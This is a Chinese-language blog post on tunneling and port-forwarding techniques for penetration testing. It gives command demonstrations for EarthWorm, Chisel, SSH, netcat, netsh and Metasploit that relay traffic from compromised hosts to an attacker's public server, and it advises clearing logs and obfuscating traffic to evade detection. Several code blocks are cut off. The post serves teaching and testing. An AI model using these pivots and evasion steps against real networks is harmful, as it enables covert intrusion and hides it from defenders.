内网穿透技术

内网穿透技术
Takake在网络安全渗透测试中,隧道技术是突破内网限制、实现隐蔽通信的关键手段。常见的隧道技术及工具可分为以下几类,结合不同协议和应用场景,以下是详细总结:
一、隧道技术分类
1. 网络层隧道技术
- ICMP隧道:通过ICMP协议封装数据,绕过防火墙限制。例如,
icmpsh
和PingTunnel
工具支持ICMP流量伪装,适用于网络层隐蔽通信。 - IPv6隧道:将IPv6数据包封装在IPv4中传输,用于跨网络环境的数据传输。
2. 传输层隧道协议
- TCP/UDP隧道:通过TCP或UDP协议转发流量,常用工具如
netcat
(瑞士军刀)、lcx
(轻量级端口转发),支持灵活的网络调试和流量中转。 - 常规端口转发:如SSH的本地/远程端口转发(
ssh -L
和ssh -R
),通过加密通道实现内网穿透。
3. 应用层隧道技术
- SSH隧道:利用SSH协议加密通信,支持动态代理(
ssh -D
)和端口映射,适用于安全远程访问。 - HTTP/HTTPS隧道:通过HTTP协议伪装流量,工具如
httptunnel
和stunnel
,适用于绕过HTTP代理限制并加密通信。 - DNS隧道:利用DNS查询传输数据,工具如
iodine
和dnscat
,适合严格网络环境下的隐蔽通信。
4. 代理与反向代理技术
- Socks代理:如
EarthWorm
支持正向(ssocksd
)和反向代理(rcsocks
),适用于内网穿透和流量中转。 - 反向代理工具:如
frp
和Ngrok
,通过公网服务器暴露内网服务,支持TCP/HTTP等多种协议。
二、常用隧道工具及功能
1. frp
- 功能:高性能反向代理工具,支持TCP/UDP/HTTP/HTTPS协议,用于内网穿透和端口映射。
- 场景:将内网服务的端口映射到公网服务器,便于外部访问。
- 演示:关于frp的使用我在其他文章,甚至是视频中都有所提及。
2. EarthWorm (EW)
功能:支持Socks5代理、端口转发和隧道穿透,命令简单,大小只有几十KB,适用于复杂网络环境。
场景:正向代理(
ssocksd
)和反向代理(rcsocks
)模式,结合多级跳板突破内网限制。下载:由于ew在Github上以停止更新因此需要到其他库去下载。
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
1. 正向 SOCKS v5 服务器
1
$ ./ew -s ssocksd -l 1080
2. 反弹 SOCKS v5 服务器**
这个操作具体分两步: a) 先在一台具有公网 ip 的主机A上运行以下命令:
1
$ ./ew -s rcsocks -l 1080 -e 8888
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
1
$ ./ew -s rssocks -d 1.1.1.1 -e 8888
成功。
3. 多级级联
工具中自带的三条端口转发指令, 它们的参数格式分别为:
1
2
3$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999`通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。 首先提供两个“二级级联”本地SOCKS测试样例:
a) lcx_tran 的用法
1
2$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999b) lcx_listen、lcx_slave 的用法
1
2
3$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999再提供一个“三级级联”的本地SOCKS测试用例以供参考
1
2
3
4$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
3.Chisel
功能:chisel也和EarthWorm相同,专门用来做隧道代理和搭建的工具,且Chisel目前仍在维护,而EarthWorm已经很多年没更新了。
下载:GitHub地址
演示:
公网攻击机开启8080端口监听,等待靶机连接
1 | ┌──(kali㉿kali)-[~] |
- 客户端靶机连接服务器,同时在服务器的1080端口开放socks代理端口
1 | $ ./chisel_1.10.1_linux_amd64 client 192.168.100.129:8080 R:socks |
3. SSH
- 功能:本地端口转发(
-L
)、远程端口转发(-R
)及动态代理(-D
)。
本地端口转发,无需修改配置文件,常用于仅可本机访问的服务,例如mysql、redis等
场景:加密通信、绕过防火墙或访问内网资源。
演示1(远程端口转发):将内网中的web服务暴露到我们远程公网服务器
- 需要在我们公网服务器的sshd服务上设置允许端口转发和网关端口,如果不修改配置的话只能允许通过本地访问,不能暴露到所有接口。
1
2
3
4
5
6
7
8
9# 编辑 SSH 配置文件
sudo vim /etc/ssh/sshd_config
# 找到并修改以下参数:
GatewayPorts yes # 允许绑定到 0.0.0.0
AllowTcpForwarding yes # 允许端口转发
# 重启 SSH 服务
sudo systemctl restart sshd- 在已攻陷的机器上ssh连接我们的公网服务器
1
2# 将沦陷靶机内网的192.168.100.137ip上的8888端口服务暴露到公网服务器的所有网卡接口的8000端口上
ssh <公网用户名>@<公网IP> -p 22 -R 0.0.0.0:8000:192.168.100.137:8888演示2(socks5代理隧道)
- 命令格式(攻击机执行)(挺方便的一个用法,但是利用前提必须是我们能够直连我们的跳板机)
1
2ssh -D 0.0.0.0:1080 <跳板机用户>@<跳板机IP> -p <SSH端口>
# 攻击机去连接跳板机,连接后会在攻击机的本地端口上开放1080socks5端口,这时就可以利用这个端口做内网渗透- curl socks5代理演示
1
curl http://192.168.100.137:8888 --socks5 127.0.0.1:1080
4. Netcat
- 功能:多协议支持(TCP/UDP),用于端口扫描、文件传输和简单隧道搭建。
- 场景:快速建立临时通信通道或调试网络服务。
- 演示:利用fifo管道实现,配置起来相对复杂,且连接经常不稳定,且不同版本的nc有所差异,例如。
正向代理(直接穿透)
- 在目标内网主机启动服务:
1 | # 启动一个本地 HTTP 服务(Python 快速测试) |
- 使用
netcat
暴露端口到公网:
1 | # 将内网 8000 端口转发到公网 8080 端口(需公网主机) |
- 参数说明:
-l
:监听模式。-p
:指定监听端口。-c
:连接成功后执行的命令(将流量转发到本地 8000 端口)。
- 外部访问:
1 | curl http://<公网主机IP>:8080 |
反向代理(穿透防火墙/NAT)
- 在公网服务器监听端口:
1 | # 公网服务器(IP: 1.2.3.4)监听 8080 端口 |
- 内网主机反向连接并转发流量:
1 | # 内网主机主动连接公网服务器 8080 端口,并转发本地 8000 服务 |
- 注意:部分
netcat
版本不支持-e
参数,需改用管道:
1 | mkfifo /tmp/fifo |
- 外部访问:
1 | curl http://1.2.3.4:8080 # 流量经公网服务器转发到内网 8000 端口 |
5. DNS隧道工具(iodine/dnscat)
- 功能:通过DNS协议传输数据,绕过防火墙限制。
- 场景:严格网络环境下的隐蔽通信,如企业内网穿透。
6. Proxifier/Proxychains
- 功能:全局代理工具,强制所有应用流量通过指定代理服务器。
- 场景:Windows/Linux系统下的多工具代理集成。
7. Ngrok/Nps
- 功能:快速内网穿透,支持Web界面管理和多协议转发。
- 场景:开发测试、临时服务暴露及内网管理。 通常用于攻防演练中IP代理词。
8.Iptables
- 也可以用来做端口转发,当攻击机能直接访问到靶机时。
- 但是需要修改更改配置文件,来允许ipv4的的转发,可能配置起来比较麻烦。
9.Netsh
windows环境下还可以使用自带的Netsh进行端口转发,不过不支持UDP的通信。
演示:Windows 端口转发
1 | # 添加转发规则(将本机 8080 转发到 192.168.100.1:80) |
10.Metasploit
- 功能:主要用于集成化渗透的大型框架,其中包含多种渗透功能。
- 演示:当我们获得了shell时,就可以利用msf的添加路由和sock代理的功能实现隧道搭建。
- 添加路由(用于在msf中的攻击,可达靶机的内网环境)
1 | # m1.自动探测并添加路由 |
- 搭建sock5代理,用于其他渗透软件的流量转发。
1 |
|
三、技术选型建议
- 隐蔽性要求高:优先选择DNS隧道(如
iodine
)或ICMP隧道(如PingTunnel
)。 - 加密需求强:使用SSH隧道或HTTPS隧道(
stunnel
)保障数据安全。 - 复杂网络环境:结合多级代理工具(如
EarthWorm
或frp
)实现灵活穿透。 - 协议限制严格:尝试非常规协议(如ICMP或DNS)绕过防火墙检测。
四、总结
隧道技术的核心在于通过协议封装和流量伪装突破网络限制,工具选择需结合具体场景(如协议支持、加密需求、隐蔽性)。例如,frp
适用于简单反向代理,而EarthWorm
更适合多级跳板渗透。渗透测试中需灵活组合技术,并注意日志清理和流量混淆以避免检测。